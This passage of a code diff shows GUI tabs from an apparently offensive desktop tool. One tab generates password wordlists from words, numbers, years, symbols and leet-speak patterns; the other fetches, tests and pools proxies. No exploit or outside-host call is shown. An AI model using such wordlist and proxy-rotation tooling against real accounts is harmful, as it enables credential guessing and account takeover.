|
pat_label = ctk.CTkLabel(
|
||||||
|
pat_frame, text="Select patterns to generate (uses {word}, {num}, {sym} placeholders):",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
)
|
||||||
|
pat_label.pack(anchor="w")
|
||||||
|
|
||||||
|
# Pattern checkboxes
|
||||||
|
self.pattern_vars = {}
|
||||||
|
default_patterns = [
|
||||||
|
("{word}{num}", True),
|
||||||
|
("{word}{sym}{num}", True),
|
||||||
|
("{num}{word}", False),
|
||||||
|
("{sym}{word}{num}", False),
|
||||||
|
("{word}{num}{sym}", True),
|
||||||
|
("{num}{sym}{word}", False),
|
||||||
|
("{num}{word}{sym}", False),
|
||||||
|
("{sym}{word}", False),
|
||||||
|
]
|
||||||
|
|
||||||
|
row_p = ctk.CTkFrame(pat_frame, fg_color="transparent")
|
||||||
|
row_p.pack(fill="x")
|
||||||
|
|
||||||
|
for i, (pattern, default) in enumerate(default_patterns):
|
||||||
|
if i > 0 and i % 4 == 0:
|
||||||
|
row_p = ctk.CTkFrame(pat_frame, fg_color="transparent")
|
||||||
|
row_p.pack(fill="x")
|
||||||
|
|
||||||
|
var = ctk.BooleanVar(value=default)
|
||||||
|
self.pattern_vars[pattern] = var
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_p, text=pattern, variable=var,
|
||||||
|
font=("Consolas", 11), checkbox_width=18, checkbox_height=18,
|
||||||
|
).pack(side="left", padx=(0, 15), pady=2)
|
||||||
|
|
||||||
|
# Custom pattern
|
||||||
|
row_cust = ctk.CTkFrame(pat_frame, fg_color="transparent")
|
||||||
|
row_cust.pack(fill="x", pady=(5, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_cust, text="Custom pattern:", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.custom_pattern_entry = ctk.CTkEntry(
|
||||||
|
row_cust, placeholder_text="e.g., {word}{num}{sym}{num}",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.custom_pattern_entry.pack(side="left", fill="x", expand=True)
|
||||||
|
|
||||||
|
# === SECTION 8: Length Constraints ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> LENGTH CONSTRAINTS")
|
||||||
|
len_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
len_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
row_l1 = ctk.CTkFrame(len_frame, fg_color="transparent")
|
||||||
|
row_l1.pack(fill="x")
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_l1, text="Min:", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.min_len_var = ctk.IntVar(value=6)
|
||||||
|
min_len_slider = ctk.CTkSlider(
|
||||||
|
row_l1, from_=4, to=32, number_of_steps=28,
|
||||||
|
variable=self.min_len_var,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
progress_color=CyberpunkTheme.PRIMARY,
|
||||||
|
button_color=CyberpunkTheme.PRIMARY,
|
||||||
|
button_hover_color=CyberpunkTheme.SECONDARY,
|
||||||
|
width=200,
|
||||||
|
)
|
||||||
|
min_len_slider.pack(side="left", padx=(0, 10))
|
||||||
|
|
||||||
|
self.min_len_label = ctk.CTkLabel(
|
||||||
|
row_l1, text="6", font=("Consolas", 12, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY, width=30,
|
||||||
|
)
|
||||||
|
self.min_len_label.pack(side="left")
|
||||||
|
|
||||||
|
def update_min(val):
|
||||||
|
self.min_len_label.configure(text=str(int(val)))
|
||||||
|
min_len_slider.configure(command=update_min)
|
||||||
|
|
||||||
|
row_l2 = ctk.CTkFrame(len_frame, fg_color="transparent")
|
||||||
|
row_l2.pack(fill="x", pady=(5, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_l2, text="Max:", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.max_len_var = ctk.IntVar(value=32)
|
||||||
|
max_len_slider = ctk.CTkSlider(
|
||||||
|
row_l2, from_=4, to=32, number_of_steps=28,
|
||||||
|
variable=self.max_len_var,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
progress_color=CyberpunkTheme.PRIMARY,
|
||||||
|
button_color=CyberpunkTheme.PRIMARY,
|
||||||
|
button_hover_color=CyberpunkTheme.SECONDARY,
|
||||||
|
width=200,
|
||||||
|
)
|
||||||
|
max_len_slider.pack(side="left", padx=(0, 10))
|
||||||
|
|
||||||
|
self.max_len_label = ctk.CTkLabel(
|
||||||
|
row_l2, text="32", font=("Consolas", 12, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY, width=30,
|
||||||
|
)
|
||||||
|
self.max_len_label.pack(side="left")
|
||||||
|
|
||||||
|
def update_max(val):
|
||||||
|
self.max_len_label.configure(text=str(int(val)))
|
||||||
|
max_len_slider.configure(command=update_max)
|
||||||
|
|
||||||
|
# === SECTION 9: Character Requirements ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> CHARACTER REQUIREMENTS")
|
||||||
|
req_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
req_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
row_r1 = ctk.CTkFrame(req_frame, fg_color="transparent")
|
||||||
|
row_r1.pack(fill="x")
|
||||||
|
|
||||||
|
self.req_upper_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_r1, text="Must have uppercase", variable=self.req_upper_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.req_lower_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_r1, text="Must have lowercase", variable=self.req_lower_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.req_digit_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_r1, text="Must have digit", variable=self.req_digit_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.req_symbol_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_r1, text="Must have symbol", variable=self.req_symbol_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left")
|
||||||
|
|
||||||
|
# === BOTTOM: Generate Button + Stats ===
|
||||||
|
bottom_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
bottom_frame.pack(fill="x", side="bottom")
|
||||||
|
|
||||||
|
# Progress bar row (hidden until generating)
|
||||||
|
self.gen_progress = ctk.CTkProgressBar(
|
||||||
|
bottom_frame,
|
||||||
|
fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
progress_color=CyberpunkTheme.SECONDARY,
|
||||||
|
height=4,
|
||||||
|
corner_radius=0,
|
||||||
|
)
|
||||||
|
self.gen_progress.set(0)
|
||||||
|
self._gen_progress_anim = None
|
||||||
|
|
||||||
|
inner_bottom = ctk.CTkFrame(bottom_frame, fg_color="transparent")
|
||||||
|
inner_bottom.pack(fill="x", padx=15, pady=(8, 10))
|
||||||
|
|
||||||
|
# GPU status
|
||||||
|
gpu_text = f"GPU: {self.generator.gpu_info}" if self.generator.gpu_available else "CPU MODE"
|
||||||
|
self.gpu_label = ctk.CTkLabel(
|
||||||
|
inner_bottom, text=gpu_text,
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TERTIARY if self.generator.gpu_available else CyberpunkTheme.TEXT_DIM,
|
||||||
|
)
|
||||||
|
self.gpu_label.pack(side="left")
|
||||||
|
|
||||||
|
# Stats
|
||||||
|
self.stats_label = ctk.CTkLabel(
|
||||||
|
inner_bottom, text="Generated: 0 | File: 0",
|
||||||
|
font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
)
|
||||||
|
self.stats_label.pack(side="left", padx=(20, 0))
|
||||||
|
|
||||||
|
# Live estimate
|
||||||
|
self.estimate_label = ctk.CTkLabel(
|
||||||
|
inner_bottom, text="Est: —",
|
||||||
|
font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM,
|
||||||
|
)
|
||||||
|
self.estimate_label.pack(side="left", padx=(20, 0))
|
||||||
|
|
||||||
|
# Generate button
|
||||||
|
self.generate_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner_bottom, text=">> GENERATE <<",
|
||||||
|
command=self._on_generate,
|
||||||
|
color=CyberpunkTheme.SECONDARY,
|
||||||
|
width=180, height=36,
|
||||||
|
)
|
||||||
|
self.generate_btn.pack(side="right")
|
||||||
|
|
||||||
|
self.clear_file_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner_bottom, text="CLEAR FILE",
|
||||||
|
command=self._on_clear_wordlist,
|
||||||
|
color="#442222",
|
||||||
|
width=110, height=36,
|
||||||
|
)
|
||||||
|
self.clear_file_btn.pack(side="right", padx=(0, 8))
|
||||||
|
|
||||||
|
# Wire live estimate to all config widgets
|
||||||
|
self._bind_estimate_triggers()
|
||||||
|
self._schedule_estimate()
|
||||||
|
self._update_file_stats()
|
||||||
|
self._notify_wordlist_loaded()
|
||||||
|
|
||||||
|
def _notify_wordlist_loaded(self):
|
||||||
|
try:
|
||||||
|
count = count_lines(PASSWORDS_FILE)
|
||||||
|
if self.status_callback:
|
||||||
|
if count:
|
||||||
|
self.status_callback(f"Wordlist loaded — {count:,} passwords ready")
|
||||||
|
else:
|
||||||
|
self.status_callback("Wordlist empty — configure and generate passwords")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _on_clear_wordlist(self):
|
||||||
|
try:
|
||||||
|
PASSWORDS_FILE.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
PASSWORDS_FILE.write_text("", encoding="utf-8")
|
||||||
|
self.generated_count = 0
|
||||||
|
self.stats_label.configure(
|
||||||
|
text="Generated: 0 | File: 0",
|
||||||
|
text_color=CyberpunkTheme.WARNING,
|
||||||
|
)
|
||||||
|
if self.status_callback:
|
||||||
|
self.status_callback("Wordlist cleared")
|
||||||
|
except Exception as e:
|
||||||
|
if self.status_callback:
|
||||||
|
self.status_callback(f"Clear failed: {e}")
|
||||||
|
|
||||||
|
def _bind_estimate_triggers(self):
|
||||||
|
"""Attach trace callbacks to all config variables so estimate refreshes live."""
|
||||||
|
bool_vars = [
|
||||||
|
self.append_nums_var, self.prepend_nums_var, self.use_years_var,
|
||||||
|
self.append_sym_var, self.prepend_sym_var, self.sym_between_var,
|
||||||
|
self.first_cap_var, self.all_caps_var, self.toggle_case_var,
|
||||||
|
self.leet_var, self.req_upper_var, self.req_lower_var,
|
||||||
|
self.req_digit_var, self.req_symbol_var,
|
||||||
|
*self.pattern_vars.values(),
|
||||||
|
]
|
||||||
|
for v in bool_vars:
|
||||||
|
v.trace_add("write", lambda *_: self._schedule_estimate())
|
||||||
|
for int_var in (self.min_len_var, self.max_len_var):
|
||||||
|
int_var.trace_add("write", lambda *_: self._schedule_estimate())
|
||||||
|
# Text entries — use <KeyRelease> binding
|
||||||
|
for widget in (self.fragments_entry, self.symbols_entry, self.num_start_entry,
|
||||||
|
self.num_end_entry, self.custom_pattern_entry):
|
||||||
|
widget.bind("<KeyRelease>", lambda _e: self._schedule_estimate())
|
||||||
|
|
||||||
|
def _get_config(self) -> GenerationConfig:
|
||||||
|
"""Build GenerationConfig from current UI state."""
|
||||||
|
# Parse fragments
|
||||||
|
frag_text = self.fragments_entry.get().strip()
|
||||||
|
fragments = [f.strip() for f in frag_text.split(",") if f.strip()]
|
||||||
|
|
||||||
|
# Parse custom words
|
||||||
|
words_text = self.words_text.get("1.0", "end").strip()
|
||||||
|
custom_words = [w.strip() for w in words_text.split("\n") if w.strip()]
|
||||||
|
|
||||||
|
# Parse number range
|
||||||
|
try:
|
||||||
|
num_start = int(self.num_start_entry.get() or "0")
|
||||||
|
except ValueError:
|
||||||
|
num_start = 0
|
||||||
|
try:
|
||||||
|
num_end = int(self.num_end_entry.get() or "9999")
|
||||||
|
except ValueError:
|
||||||
|
num_end = 9999
|
||||||
|
|
||||||
|
# Get selected patterns
|
||||||
|
patterns = [p for p, var in self.pattern_vars.items() if var.get()]
|
||||||
|
if not patterns:
|
||||||
|
patterns = ["{word}{num}"]
|
||||||
|
|
||||||
|
custom_pattern = self.custom_pattern_entry.get().strip()
|
||||||
|
|
||||||
|
return GenerationConfig(
|
||||||
|
fragments=fragments,
|
||||||
|
custom_words=custom_words,
|
||||||
|
append_numbers=self.append_nums_var.get(),
|
||||||
|
prepend_numbers=self.prepend_nums_var.get(),
|
||||||
|
number_range_start=num_start,
|
||||||
|
number_range_end=num_end,
|
||||||
|
use_years=self.use_years_var.get(),
|
||||||
|
append_symbols=self.append_sym_var.get(),
|
||||||
|
prepend_symbols=self.prepend_sym_var.get(),
|
||||||
|
symbols_between=self.sym_between_var.get(),
|
||||||
|
custom_symbols=self.symbols_entry.get().strip(),
|
||||||
|
first_letter_caps=self.first_cap_var.get(),
|
||||||
|
all_caps=self.all_caps_var.get(),
|
||||||
|
toggle_case=self.toggle_case_var.get(),
|
||||||
|
leet_speak=self.leet_var.get(),
|
||||||
|
patterns=patterns,
|
||||||
|
custom_pattern=custom_pattern,
|
||||||
|
min_length=self.min_len_var.get(),
|
||||||
|
max_length=self.max_len_var.get(),
|
||||||
|
require_upper=self.req_upper_var.get(),
|
||||||
|
require_lower=self.req_lower_var.get(),
|
||||||
|
require_digit=self.req_digit_var.get(),
|
||||||
|
require_symbol=self.req_symbol_var.get(),
|
||||||
|
)
|
||||||
|
|
||||||
|
def _start_gen_progress(self):
|
||||||
|
self.gen_progress.pack(fill="x", side="top")
|
||||||
|
self._gen_progress_dir = 1
|
||||||
|
self._gen_progress_val = 0.0
|
||||||
|
|
||||||
|
def _pulse():
|
||||||
|
if self._gen_progress_anim is None:
|
||||||
|
return
|
||||||
|
self._gen_progress_val += 0.04 * self._gen_progress_dir
|
||||||
|
if self._gen_progress_val >= 1.0:
|
||||||
|
self._gen_progress_val = 1.0
|
||||||
|
self._gen_progress_dir = -1
|
||||||
|
elif self._gen_progress_val <= 0.0:
|
||||||
|
self._gen_progress_val = 0.0
|
||||||
|
self._gen_progress_dir = 1
|
||||||
|
self.gen_progress.set(self._gen_progress_val)
|
||||||
|
self._gen_progress_anim = self.after(40, _pulse)
|
||||||
|
|
||||||
|
self._gen_progress_anim = self.after(40, _pulse)
|
||||||
|
|
||||||
|
def _stop_gen_progress(self):
|
||||||
|
if self._gen_progress_anim:
|
||||||
|
self.after_cancel(self._gen_progress_anim)
|
||||||
|
self._gen_progress_anim = None
|
||||||
|
self.gen_progress.pack_forget()
|
||||||
|
self.gen_progress.set(0)
|
||||||
|
|
||||||
|
def _on_generate(self):
|
||||||
|
"""Handle generate button click — runs generation in background thread."""
|
||||||
|
self.generate_btn.configure(state="disabled", text=" GENERATING... ")
|
||||||
|
self._start_gen_progress()
|
||||||
|
if self.status_callback:
|
||||||
|
self.status_callback("Generating wordlist…")
|
||||||
|
config = self._get_config()
|
||||||
|
|
||||||
|
thread = threading.Thread(target=self._generate_worker, args=(config,), daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def _generate_worker(self, config: GenerationConfig):
|
||||||
|
"""Background worker for password generation."""
|
||||||
|
try:
|
||||||
|
passwords = self.generator.generate(config)
|
||||||
|
self.generated_count = len(passwords)
|
||||||
|
|
||||||
|
# Save to file (append)
|
||||||
|
if passwords:
|
||||||
|
save_passwords(passwords)
|
||||||
|
|
||||||
|
# Update UI from main thread
|
||||||
|
self.after(0, self._on_generation_complete)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Generation error: {e}")
|
||||||
|
self.after(0, lambda: self._on_generation_error(str(e)))
|
||||||
|
|
||||||
|
def _on_generation_complete(self):
|
||||||
|
"""Update UI after generation completes."""
|
||||||
|
self._stop_gen_progress()
|
||||||
|
self.generate_btn.configure(state="normal", text=">> GENERATE <<")
|
||||||
|
file_count = count_lines(PASSWORDS_FILE)
|
||||||
|
self.stats_label.configure(
|
||||||
|
text=f"Generated: {self.generated_count:,} | File: {file_count:,}",
|
||||||
|
text_color=CyberpunkTheme.SUCCESS,
|
||||||
|
)
|
||||||
|
if self.status_callback:
|
||||||
|
self.status_callback(
|
||||||
|
f"Wordlist ready — {file_count:,} passwords in {PASSWORDS_FILE.name}")
|
||||||
|
|
||||||
|
def _on_generation_error(self, error_msg: str):
|
||||||
|
"""Handle generation error."""
|
||||||
|
self._stop_gen_progress()
|
||||||
|
self.generate_btn.configure(state="normal", text=">> GENERATE <<")
|
||||||
|
self.stats_label.configure(
|
||||||
|
text=f"Error: {error_msg}",
|
||||||
|
text_color=CyberpunkTheme.ERROR,
|
||||||
|
)
|
||||||
|
|
||||||
|
def _schedule_estimate(self):
|
||||||
|
"""Re-compute estimate 800ms after any config change (debounced)."""
|
||||||
|
if self._estimate_after_id:
|
||||||
|
self.after_cancel(self._estimate_after_id)
|
||||||
|
self._estimate_after_id = self.after(800, self._refresh_estimate)
|
||||||
|
|
||||||
|
def _refresh_estimate(self):
|
||||||
|
"""Update the estimate label from current config."""
|
||||||
|
self._estimate_after_id = None
|
||||||
|
try:
|
||||||
|
cfg = self._get_config()
|
||||||
|
est = self.generator.estimate(cfg)
|
||||||
|
self.estimate_label.configure(
|
||||||
|
text=f"Est: {est:,}",
|
||||||
|
text_color=CyberpunkTheme.PRIMARY if est > 0 else CyberpunkTheme.TEXT_DIM,
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _update_file_stats(self):
|
||||||
|
"""Update the file line count periodically (safe against double-scheduling)."""
|
||||||
|
if self._stats_after_id:
|
||||||
|
self.after_cancel(self._stats_after_id)
|
||||||
|
try:
|
||||||
|
count = count_lines(PASSWORDS_FILE)
|
||||||
|
if self.generate_btn.cget("state") == "normal":
|
||||||
|
self.stats_label.configure(
|
||||||
|
text=f"Generated: {self.generated_count:,} | File: {count:,}",
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self._stats_after_id = self.after(5000, self._update_file_stats)
|
||||||
|
|
||||||
|
def get_generated_count(self) -> int:
|
||||||
|
"""Get the number of generated passwords."""
|
||||||
|
return self.generated_count
|
||||||
489
src/gui/proxy_manager_tab.py
Normal file
489
src/gui/proxy_manager_tab.py
Normal file
@@ -0,0 +1,489 @@
|
|||||||
|
"""
|
||||||
|
Proxy Manager Tab — fetch, import, health-test, and commit proxies.
|
||||||
|
|
||||||
|
Per-proxy visual states:
|
||||||
|
● RED — untested / dead
|
||||||
|
● YELLOW — currently testing
|
||||||
|
● GREEN — healthy
|
||||||
|
|
||||||
|
Testing strategy:
|
||||||
|
TEST ALL runs sequentially: one proxy at a time, red → yellow → green/red,
|
||||||
|
before moving on. This keeps the UI readable and avoids hammering networks.
|
||||||
|
Individual "TEST" buttons still fire immediately in their own thread.
|
||||||
|
"""
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
from typing import Dict, List, Optional
|
||||||
|
|
||||||
|
import customtkinter as ctk
|
||||||
|
|
||||||
|
from src.gui.theme import CyberpunkTheme
|
||||||
|
from src.proxy.pool import ProxyPool
|
||||||
|
from src.proxy.fetcher import ProxyFetcher
|
||||||
|
from src.proxy.validator import ProxyValidator
|
||||||
|
from src.utils.file_io import save_proxies, save_valid_proxies, load_proxies
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
_DOT_UNTESTED = CyberpunkTheme.ERROR
|
||||||
|
_DOT_TESTING = CyberpunkTheme.WARNING
|
||||||
|
_DOT_VALID = CyberpunkTheme.SUCCESS
|
||||||
|
_DOT_FAILED = "#aa2233"
|
||||||
|
|
||||||
|
|
||||||
|
class _ProxyRow:
|
||||||
|
__slots__ = ("frame", "dot", "ip_lbl", "port_lbl", "proto_lbl",
|
||||||
|
"speed_lbl", "status_lbl", "test_btn", "remove_btn", "state")
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.frame = self.dot = self.ip_lbl = self.port_lbl = None
|
||||||
|
self.proto_lbl = self.speed_lbl = self.status_lbl = None
|
||||||
|
self.test_btn = self.remove_btn = None
|
||||||
|
self.state = "untested"
|
||||||
|
|
||||||
|
|
||||||
|
class ProxyManagerTab(ctk.CTkFrame):
|
||||||
|
|
||||||
|
def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None):
|
||||||
|
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||||
|
self.proxy_pool = proxy_pool
|
||||||
|
self.fetcher = ProxyFetcher()
|
||||||
|
self.validator = ProxyValidator()
|
||||||
|
self.status_callback = status_callback
|
||||||
|
|
||||||
|
self._rows: Dict[str, _ProxyRow] = {}
|
||||||
|
self._seq_testing = False # True while sequential TEST ALL is running
|
||||||
|
self._seq_stop_flag = False # set True to abort sequential test
|
||||||
|
self._single_lock = threading.Lock()
|
||||||
|
|
||||||
|
self._build_ui()
|
||||||
|
|
||||||
|
# ── UI ────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _build_ui(self):
|
||||||
|
ctk.CTkLabel(self, text="[ PROXY MANAGER ]",
|
||||||
|
font=("Consolas", 18, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
|
||||||
|
ctk.CTkLabel(self,
|
||||||
|
text="Fetch · Test sequentially (red→yellow→green) · Remove dead · Commit to pool",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 12))
|
||||||
|
|
||||||
|
# ── Control bar ───────────────────────────────────────────────────────
|
||||||
|
ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
ctrl.pack(fill="x", padx=15, pady=(0, 8))
|
||||||
|
inner = ctk.CTkFrame(ctrl, fg_color="transparent")
|
||||||
|
inner.pack(fill="x", padx=12, pady=8)
|
||||||
|
|
||||||
|
self.fetch_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="⬇ FETCH PROXIES", command=self._on_fetch,
|
||||||
|
color=CyberpunkTheme.TERTIARY, width=155, height=32)
|
||||||
|
self.fetch_btn.pack(side="left", padx=(0, 8))
|
||||||
|
|
||||||
|
self.import_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="📂 IMPORT FILE", command=self._on_import,
|
||||||
|
color=CyberpunkTheme.TERTIARY, width=140, height=32)
|
||||||
|
self.import_btn.pack(side="left", padx=(0, 8))
|
||||||
|
|
||||||
|
self.test_all_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="⚡ TEST ALL", command=self._on_test_all,
|
||||||
|
color=CyberpunkTheme.PRIMARY, width=130, height=32)
|
||||||
|
self.test_all_btn.pack(side="left", padx=(0, 8))
|
||||||
|
|
||||||
|
self.stop_test_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="⏹ STOP TEST", command=self._on_stop_test,
|
||||||
|
color=CyberpunkTheme.WARNING, width=120, height=32)
|
||||||
|
self.stop_test_btn.pack(side="left", padx=(0, 8))
|
||||||
|
self.stop_test_btn.configure(state="disabled")
|
||||||
|
|
||||||
|
self.remove_dead_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="🗑 REMOVE DEAD", command=self._on_remove_dead,
|
||||||
|
color=CyberpunkTheme.ERROR, width=145, height=32)
|
||||||
|
self.remove_dead_btn.pack(side="left", padx=(0, 8))
|
||||||
|
|
||||||
|
self.commit_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="✅ COMMIT TO POOL", command=self._on_commit,
|
||||||
|
color=CyberpunkTheme.SUCCESS, width=170, height=32)
|
||||||
|
self.commit_btn.pack(side="left", padx=(0, 8))
|
||||||
|
|
||||||
|
self.clear_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner, text="✕ CLEAR ALL", command=self._on_clear,
|
||||||
|
color="#553333", width=110, height=32)
|
||||||
|
self.clear_btn.pack(side="left")
|
||||||
|
|
||||||
|
# ── Paste box ─────────────────────────────────────────────────────────
|
||||||
|
paste_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
paste_frame.pack(fill="x", padx=15, pady=(0, 8))
|
||||||
|
paste_inner = ctk.CTkFrame(paste_frame, fg_color="transparent")
|
||||||
|
paste_inner.pack(fill="x", padx=12, pady=8)
|
||||||
|
|
||||||
|
ctk.CTkLabel(paste_inner,
|
||||||
|
text="Paste proxies (protocol://ip:port or ip:port, one per line):",
|
||||||
|
font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(anchor="w")
|
||||||
|
|
||||||
|
paste_row = ctk.CTkFrame(paste_inner, fg_color="transparent")
|
||||||
|
paste_row.pack(fill="x", pady=(4, 0))
|
||||||
|
|
||||||
|
self.paste_box = ctk.CTkTextbox(
|
||||||
|
paste_row, height=60,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11))
|
||||||
|
self.paste_box.pack(side="left", fill="x", expand=True, padx=(0, 8))
|
||||||
|
|
||||||
|
CyberpunkTheme.create_neon_button(
|
||||||
|
paste_row, text="ADD", command=self._on_add_pasted,
|
||||||
|
color=CyberpunkTheme.TERTIARY, width=70, height=60
|
||||||
|
).pack(side="left")
|
||||||
|
|
||||||
|
# ── Stats bar ─────────────────────────────────────────────────────────
|
||||||
|
stats_bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
stats_bar.pack(fill="x", padx=15, pady=(0, 6))
|
||||||
|
stats_inner = ctk.CTkFrame(stats_bar, fg_color="transparent")
|
||||||
|
stats_inner.pack(fill="x", padx=12, pady=6)
|
||||||
|
|
||||||
|
def _sl(text, color):
|
||||||
|
l = ctk.CTkLabel(stats_inner, text=text,
|
||||||
|
font=("Consolas", 12, "bold"), text_color=color)
|
||||||
|
l.pack(side="left", padx=(0, 22))
|
||||||
|
return l
|
||||||
|
|
||||||
|
self.lbl_total = _sl("Total: 0", CyberpunkTheme.TEXT_PRIMARY)
|
||||||
|
self.lbl_valid = _sl("Valid: 0", CyberpunkTheme.SUCCESS)
|
||||||
|
self.lbl_failed = _sl("Dead: 0", CyberpunkTheme.ERROR)
|
||||||
|
self.lbl_testing = _sl("Testing: 0", CyberpunkTheme.WARNING)
|
||||||
|
self.lbl_inqueue = _sl("In Pool: 0", CyberpunkTheme.PRIMARY)
|
||||||
|
|
||||||
|
self.test_progress = ctk.CTkProgressBar(
|
||||||
|
stats_inner, width=200,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
progress_color=CyberpunkTheme.PRIMARY,
|
||||||
|
height=10)
|
||||||
|
self.test_progress.set(0)
|
||||||
|
self.test_progress.pack(side="right", padx=(0, 4))
|
||||||
|
self.test_progress.pack_forget()
|
||||||
|
|
||||||
|
# ── Table header ──────────────────────────────────────────────────────
|
||||||
|
hdr = ctk.CTkFrame(self, fg_color="#0d0d1a", height=26)
|
||||||
|
hdr.pack(fill="x", padx=15)
|
||||||
|
for txt, w in [("", 4), ("IP Address", 190), ("Port", 60), ("Proto", 65),
|
||||||
|
("Speed (ms)", 90), ("Status", 110), ("", 60), ("", 40)]:
|
||||||
|
ctk.CTkLabel(hdr, text=txt, font=("Consolas", 10, "bold"),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
width=w, anchor="w").pack(side="left", padx=2)
|
||||||
|
|
||||||
|
# ── Proxy list ────────────────────────────────────────────────────────
|
||||||
|
self.list_frame = ctk.CTkScrollableFrame(
|
||||||
|
self, fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
self.list_frame.pack(fill="both", expand=True, padx=15, pady=(0, 10))
|
||||||
|
|
||||||
|
self._load_saved_proxies()
|
||||||
|
|
||||||
|
# ── Row management ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _add_proxy_row(self, proxy_str: str) -> Optional[_ProxyRow]:
|
||||||
|
proxy_str = proxy_str.strip()
|
||||||
|
if not proxy_str or "://" not in proxy_str:
|
||||||
|
return None
|
||||||
|
if proxy_str in self._rows:
|
||||||
